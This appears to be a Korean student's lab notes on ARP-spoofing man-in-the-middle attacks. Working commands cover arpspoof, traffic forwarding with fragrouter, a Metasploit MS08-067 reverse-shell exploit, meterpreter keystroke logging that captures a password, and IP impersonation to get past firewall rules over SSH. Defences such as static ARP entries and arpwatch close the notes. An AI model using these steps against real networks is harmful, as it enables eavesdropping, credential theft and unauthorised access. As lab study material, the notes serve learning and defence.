MITM Attack 중간자 공격
통신하는 두 대상 사이에 끼어들어 데이터를 도청하거나 조작하는 공격
ex) ARP 스푸핑
Swtich mac address table
: 스위치가 프레임을 받으면 자신이 갖고있는 메모리에서 포트와 mac주소가 없을시 등록하는 공간
ARP 스푸핑
로컬 네트워크 환경에서 실행되고 공격자와 피해자가 같은 네트워크에 연결
공격자가 내부망에 침투하고 권한상승을 통해 관리자를 획득한 후 그 다음 ARP 스푸핑 시도
ARP 스푸핑 대응방안
네트워크에서 ARP 보안 기능 사용
암호화 프로토콜 활용하여 통신 (HTTPS, SSH)
ARP 캐쉬 테이블을 고정으로 설정
LAN 상에서의 호스트 통신 방법은 MAC 주소 통신이며
이를 이용하여 ARP 스푸핑으로 스니핑(도청)을 한다
실습 : arp 스푸핑
1) 100.3 / 00:0c:29:5a:da:e9 (공격자)
2) 100.13 / 00:0c:29:02:55:89 (희생자1)
3) 100.10 / 00:0c:29:f6:71:d0 (희생자2)
(기존에 활용하던 리눅스에서 방화벽iptables 설정때문에 ping 테스트가 되지 않는 해프닝이 있었다
방화벽은 꼭 비활성화하고 진행한다)
arp cache table은 기본적으로 다이나믹(동적) 으로 설정되어 있다apr -a로 확인하고 arp -d 삭제할ip 로 삭제가능
.13 은 xp이고 firewall.cpl 명령어로 방화벽을 비활성화한다dsniff 패키지를 공격자(kali 리눅스)에 설치 (공식 사이트 : https://www.monkey.org/~dugsong/dsniff/ )
apt-get update
apt -y install dsniff
.10 은 리눅스이고 systemctl stop firewalld 또는 iptables -F 로 비활성화한다
arpspoof -i eth0 -t 192.168.100.13 192.168.100.10
=> -i eth0 : 현재 설정상 eth0이 외부 인터페이스를 의미한다
=> 192.168.100.13에게 192.168.100.10인 척 전송한다
( * 윈도우의 경우 192.168.100.10에 ping을 넣어 arp 캐쉬테이블에 한 번 기록해야 변조가 먹혔다 )
.13의 맥주소가 .3(공격자)의 맥주소로 변조됨
변조뿐만 아니라, 포워딩을 해주어야 희생자간의 ping이 제대로 동작한다
1. 커널 포워딩
영구적 설정
: /etc/sysctl.conf 설정
임시적 설정
: /proc/sys/net/ipv4/ip_forward 수정
1) sysctl -w net.ipv4.ip_forward=1
2) echo 1 > /proc/sys/net/ipv4/ip_forward
1번이나 2번중에 선택해서 설정한다
설정 후.13 -> .10 ping이 동작한다
커널 포워딩의 경우
희생자에서 tracert 또는 traceroute 로 경로를 추적하면 공격자 .3 이 노출된다
2. 패킷/프로그램 포워딩
fragrouter 명령어를 사용한다
apt -y install fragrouter
공격자 .3에 설치
프로그램을 이용하기 때문에 공격자 ip가 노출되지 않는다
단점은 불안정할 수 있다는 점
arpspoof 명령어로 변조한 후
-B1 옵션으로 프로그램스타트
패킷 포워딩 내역이 출력된다
tracert로 추적시에도 .3 공격자가 노출되지 않는다
대신 느려졌음
실습 : arp 스푸핑을 통한 서버 탈취
조건
1) firewalld 방화벽 비활성화
2) 희생자들 iptables로 ssh 22 tcp 포트 허용, 나머지는 접근차단 상태
3) 희생자1과 희생자2는 서로간의 통신을 허용
sudo iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -m state --state NEW -s 192.168.100.1 -j ACCEPT
sudo iptables -A INPUT -m state --state NEW -s 192.168.100.13 -j ACCEPT
sudo iptables -A INPUT -j DROP
$ sudo iptables -nvL INPUT
Chain INPUT (policy ACCEPT 16209 packets, 40M bytes)
pkts bytes target prot opt in out source destination
140 12416 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- * * 192.168.100.1 0.0.0.0/0 state NEW
0 0 ACCEPT all -- * * 192.168.100.13 0.0.0.0/0 state NEW
10 600 DROP all -- * * 0.0.0.0/0 0.0.0.0/0
공격자에서 .10으로 ssh 접속을 시도하면 drop 룰에 매칭되어 연결불가한 상태
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOSTS 192.168.100.13
exploit
공격자 쪽에서 msfconsole로 리버스 쉘 연결
ps로
1020 728 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System3
1408 1384 explorer.exe x86 0 VICTIM_WINXP\ksw
해당 프로그램 정보 확인
meterpreter > migrate 1408
[*] Migrating from 1020 to 1408...
[*] Migration completed successfully.
explorer.exe에 해당하는 1408로 migrate를 이용해 전환
meterpreter > keyscan_start
Starting the keystroke sniffer ...
키입력을 캡쳐하는 명령어 실행
meterpreter > keyscan_dump
Dumping captured keystrokes...
192.168.1.101.<^H>/data<CR>
192.168.100.10root<CR>
1234<CR>
타겟이 입력한 키 정보를 덤프로 떠서 얻어올 수 있다
meterpreter > keyscan_stop
meterpreter > exit
# ifconfig eth0:1 192.168.100.13
공격자.3 은 가상 인터페이스로 .13을 설정한다
( 기존 ssh 키 파일이 있다면 삭제 rm -f .ssh/known_hosts )
-b 옵션 없이 ssh 접속하면 접속되지 않는다
ssh -b 가상ip root@희생자ip
-b 옵션으로 가상ip를 통해 접속하면 패스워드를 묻는다 (비밀번호 입력시 접속가능)
( 단, 원격 root 접속을 막아놓은 경우 패스워드를 옳게 입력해도 접속되지 않음 )
arp 스푸핑 대응방안
리눅스 : arp -s ip주소 mac주소
윈도우 xp : arp -s ip주소 mac주소
윈도우 7이상 : netsh interface ip add neighbors "인터페이스이름" ip주소 mac주소
( cmd > ncpa.cpl > 인터페이스이름 확인 )
단 재부팅하면 사라지므로 영구적으로 설정해줄 필요가 있다
centos의 경우 /etc/init.d/rc.local 에서 설정
arp 스푸핑 모니터링 툴 arpwatch를 사용하는 경우도 있다
sudo dnf -y install arpwatch mailx
설치후
sudo vi /etc/sysconfig/arpwatch 파일에
OPTIONS="-u arpwatch -i ens160 -e root -s 'root (Arpwatch)'" 설정추가
systemctl --now enable arpwatch
스타트
sudo systemctl restart arpwatch.service
다음시간에 메일서버까지 진행
arpwatch는 변조가 되면 메일을 보내준다